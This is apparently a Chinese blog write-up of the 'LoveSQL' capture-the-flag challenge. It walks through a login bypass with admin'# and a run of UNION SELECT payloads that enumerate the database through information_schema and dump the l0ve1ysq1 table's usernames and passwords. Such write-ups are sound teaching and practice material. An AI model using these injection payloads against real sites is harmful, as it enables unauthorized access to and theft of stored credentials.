[极客大挑战 2019]LoveSQL 1

很明显这时一道SQL注入的题目
这题很简单的SQL注入题目,使用union(联合查询注入),但是缠了我很久
为什么呢?因为我们学校的waf,很多可以注入成功的语句,他都会连接被重置,或者被burpsutie拦截,吃玩饭回来,我觉得不对劲,连接得我手机的热点,原来这个题目如此简单。
进入页面

数据'引号尝试闭合SQL语句

可以看到,这里只需要输入'#就可以闭合成功

admin'#


可以看到绕过成功
判断字段数

拥有三个字段,使用-1' union select 1,2,3 #查询
后面都是经典步骤

union select 1,user(),database() #

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
得到当前数据库下的表名为
geekuser,l0ve1ysq1

union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
得到字段名为id、username、password

union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
得到flag

posted @ 2022-09-05 19:32  Junglezt  阅读(258)  评论(0编辑  收藏  举报